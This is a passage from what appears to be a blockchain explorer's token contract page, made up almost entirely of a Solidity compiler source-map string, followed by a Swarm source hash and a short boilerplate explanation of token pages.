30;:::i;:::-;3733:16;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;10697:41;;;;:::i;:::-;10679:15;:59;10676:134;;;10790:20;::::0;3752:5:::1;2841:12;2513:1;2841:2;:12;:::i;:::-;2691:30;::::0;:11:::1;:30;:::i;:::-;3733:16;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;10769:41;;;;:::i;:::-;10751:59;;10676:134;10859:21;10893:33;10910:15:::0;10893:16:::1;:33::i;:::-;10948:18;10969:41;10993:17:::0;10969:21:::1;:41;:::i;:::-;10948:62:::0;-1:-1:-1;11024:14:0;;11021:76:::1;;11066:19;11074:10;11066:7;:19::i;:::-;10504:600;;;4529:1;-1:-1:-1::0;4541:8:0;:16;;-1:-1:-1;;4541:16:0;;;10453:651::o;2156:173::-;2212:16;2231:6;;-1:-1:-1;;;;;2248:17:0;;;-1:-1:-1;;;;;;2248:17:0;;;;;;2281:40;;2231:6;;;;;;;2281:40;;2212:16;2281:40;2201:128;2156:173;:::o;9279:420::-;-1:-1:-1;;;;;9413:17:0;;9372:4;9413:17;;;:9;:17;;;;;;9449:23;;;;9441:63;;;;-1:-1:-1;;;9441:63:0;;10785:2:1;9441:63:0;;;10767:21:1;10824:2;10804:18;;;10797:30;10863:29;10843:18;;;10836:57;10910:18;;9441:63:0;10583:351:1;9441:63:0;-1:-1:-1;;;;;9539:17:0;;;;;;;:9;:17;;;;;;:27;;;;;;;9588:20;;;;;;;;:30;;9560:6;;9539:17;9588:30;;9560:6;;9588:30;:::i;:::-;;;;;;;;9651:9;-1:-1:-1;;;;;9634:35:0;9643:6;-1:-1:-1;;;;;9634:35:0;;9662:6;9634:35;;;;1595:25:1;;1583:2;1568:18;;1449:177;9634:35:0;;;;;;;;-1:-1:-1;9687:4:0;;9279:420;-1:-1:-1;;;;9279:420:0:o;8944:326::-;9027:4;9044:12;9059:26;9068:4;9074:2;9078:6;9059:8;:26::i;:::-;9044:41;-1:-1:-1;9103:8:0;;9100:113;;9131:41;9146:4;9160;9167;9131:14;:41::i;:::-;-1:-1:-1;9187:14:0;9197:4;9187:14;;:::i;:::-;;;9100:113;9230:32;9245:4;9251:2;9255:6;9230:14;:32::i;:::-;9223:39;8944:326;-1:-1:-1;;;;;8944:326:0:o;10189:256::-;10244:4;10283:11;;10268:12;:26;:66;;;;-1:-1:-1;10317:12:0;10298:32;;;;:18;:32;;;;;;10333:1;-1:-1:-1;10268:66:0;:169;;;;-1:-1:-1;10363:20:0;;:25;:73;;10416:20;;3752:5;2841:12;2513:1;2841:2;:12;:::i;:::-;2691:30;;:11;:30;:::i;:::-;3733:16;;:1;:16;:::i;:::-;:24;;;;:::i;:::-;10395:41;;;;:::i;:::-;10363:73;;;10391:1;10363:73;10352:6;:85;;10261:176;10189:256;-1:-1:-1;;10189:256:0:o;11490:533::-;11575:12;11556:32;;;;:18;:32;;;;;:34;;;;;;:::i;:::-;;;;-1:-1:-1;;11685:16:0;;;11699:1;11685:16;;;;;;;;11661:21;;11685:16;;;;;;;;;;-1:-1:-1;11685:16:0;11661:40;;11730:4;11712;11717:1;11712:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;11712:23:0;;;-1:-1:-1;;;;;11712:23:0;;;;;3589:42;11746:4;11751:1;11746:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11746:14:0;;;:7;;;;;;;;;;;:14;11777:213;;-1:-1:-1;;;11777:213:0;;3386:42;;11777:65;;:213;;11857:11;;11883:1;;11927:4;;11954;;11974:15;;11777:213;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11773:243;;12008:7;11490:533;:::o;11112:153::-;11193:25;;11168:12;;-1:-1:-1;;;;;11193:25:0;11232:11;11242:1;11232:9;:11;:::i;:::-;11185:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11112:153:0:o;9707:474::-;9789:12;9821:11;;9817:1;:15;:45;;;;;9850:12;9836:11;;:26;9817:45;9814:360;;;2989:3;9901:13;-1:-1:-1;;;;;9895:19:0;:2;-1:-1:-1;;;;;9895:19:0;;:76;;9953:11;:18;9895:76;;;9931:19;;9895:76;9885:87;;:6;:87;:::i;:::-;:105;;;;:::i;:::-;9878:112;;9814:360;;;2989:3;10068:13;-1:-1:-1;;;;;10060:21:0;:4;-1:-1:-1;;;;;10060:21:0;;:71;;10104:11;;:16;:26;;10128:2;10060:71;;10104:26;10123:2;10060:71;;;10098:2;10060:71;10050:82;;;;:6;:82;:::i;:::-;:100;;;;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:248::-;1264:6;1272;1325:2;1313:9;1304:7;1300:23;1296:32;1293:52;;;1341:1;1338;1331:12;1293:52;-1:-1:-1;;1364:23:1;;;1434:2;1419:18;;;1406:32;;-1:-1:-1;1196:248:1:o;1631:186::-;1690:6;1743:2;1731:9;1722:7;1718:23;1714:32;1711:52;;;1759:1;1756;1749:12;1711:52;1782:29;1801:9;1782:29;:::i;1822:328::-;1899:6;1907;1915;1968:2;1956:9;1947:7;1943:23;1939:32;1936:52;;;1984:1;1981;1974:12;1936:52;2007:29;2026:9;2007:29;:::i;:::-;1997:39;;2055:38;2089:2;2078:9;2074:18;2055:38;:::i;:::-;2045:48;;2140:2;2129:9;2125:18;2112:32;2102:42;;1822:328;;;;;:::o;3114:260::-;3182:6;3190;3243:2;3231:9;3222:7;3218:23;3214:32;3211:52;;;3259:1;3256;3249:12;3211:52;3282:29;3301:9;3282:29;:::i;:::-;3272:39;;3330:38;3364:2;3353:9;3349:18;3330:38;:::i;:::-;3320:48;;3114:260;;;;;:::o;3379:385::-;3465:6;3473;3481;3489;3542:3;3530:9;3521:7;3517:23;3513:33;3510:53;;;3559:1;3556;3549:12;3510:53;-1:-1:-1;;3582:23:1;;;3652:2;3637:18;;3624:32;;-1:-1:-1;3703:2:1;3688:18;;3675:32;;3754:2;3739:18;3726:32;;-1:-1:-1;3379:385:1;-1:-1:-1;3379:385:1:o;3769:356::-;3971:2;3953:21;;;3990:18;;;3983:30;4049:34;4044:2;4029:18;;4022:62;4116:2;4101:18;;3769:356::o;4841:127::-;4902:10;4897:3;4893:20;4890:1;4883:31;4933:4;4930:1;4923:15;4957:4;4954:1;4947:15;4973:422;5062:1;5105:5;5062:1;5119:270;5140:7;5130:8;5127:21;5119:270;;;5199:4;5195:1;5191:6;5187:17;5181:4;5178:27;5175:53;;;5208:18;;:::i;:::-;5258:7;5248:8;5244:22;5241:55;;;5278:16;;;;5241:55;5357:22;;;;5317:15;;;;5119:270;;;5123:3;4973:422;;;;;:::o;5400:806::-;5449:5;5479:8;5469:80;;-1:-1:-1;5520:1:1;5534:5;;5469:80;5568:4;5558:76;;-1:-1:-1;5605:1:1;5619:5;;5558:76;5650:4;5668:1;5663:59;;;;5736:1;5731:130;;;;5643:218;;5663:59;5693:1;5684:10;;5707:5;;;5731:130;5768:3;5758:8;5755:17;5752:43;;;5775:18;;:::i;:::-;-1:-1:-1;;5831:1:1;5817:16;;5846:5;;5643:218;;5945:2;5935:8;5932:16;5926:3;5920:4;5917:13;5913:36;5907:2;5897:8;5894:16;5889:2;5883:4;5880:12;5876:35;5873:77;5870:159;;;-1:-1:-1;5982:19:1;;;6014:5;;5870:159;6061:34;6086:8;6080:4;6061:34;:::i;:::-;6131:6;6127:1;6123:6;6119:19;6110:7;6107:32;6104:58;;;6142:18;;:::i;:::-;6180:20;;5400:806;-1:-1:-1;;;5400:806:1:o;6211:140::-;6269:5;6298:47;6339:4;6329:8;6325:19;6319:4;6298:47;:::i;6356:168::-;6429:9;;;6460;;6477:15;;;6471:22;;6457:37;6447:71;;6498:18;;:::i;7641:125::-;7706:9;;;7727:10;;;7724:36;;;7740:18;;:::i;7771:217::-;7811:1;7837;7827:132;;7881:10;7876:3;7872:20;7869:1;7862:31;7916:4;7913:1;7906:15;7944:4;7941:1;7934:15;7827:132;-1:-1:-1;7973:9:1;;7771:217::o;8400:128::-;8467:9;;;8488:11;;;8485:37;;;8502:18;;:::i;8533:127::-;8594:10;8589:3;8585:20;8582:1;8575:31;8625:4;8622:1;8615:15;8649:4;8646:1;8639:15;10939:135;10978:3;10999:17;;;10996:43;;11019:18;;:::i;:::-;-1:-1:-1;11066:1:1;11055:13;;10939:135::o;11211:127::-;11272:10;11267:3;11263:20;11260:1;11253:31;11303:4;11300:1;11293:15;11327:4;11324:1;11317:15;11343:980;11605:4;11653:3;11642:9;11638:19;11684:6;11673:9;11666:25;11710:2;11748:6;11743:2;11732:9;11728:18;11721:34;11791:3;11786:2;11775:9;11771:18;11764:31;11815:6;11850;11844:13;11881:6;11873;11866:22;11919:3;11908:9;11904:19;11897:26;;11958:2;11950:6;11946:15;11932:29;;11979:1;11989:195;12003:6;12000:1;11997:13;11989:195;;;12068:13;;-1:-1:-1;;;;;12064:39:1;12052:52;;12159:15;;;;12124:12;;;;12100:1;12018:9;11989:195;;;-1:-1:-1;;;;;;;12240:32:1;;;;12235:2;12220:18;;12213:60;-1:-1:-1;;;12304:3:1;12289:19;12282:35;12201:3;11343:980;-1:-1:-1;;;11343:980:1:o

Swarm Source

ipfs://f30e6d4082b0dc770f715389f133ca15e24d2ae56701f79f4ad46fbe0a04f0ac
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.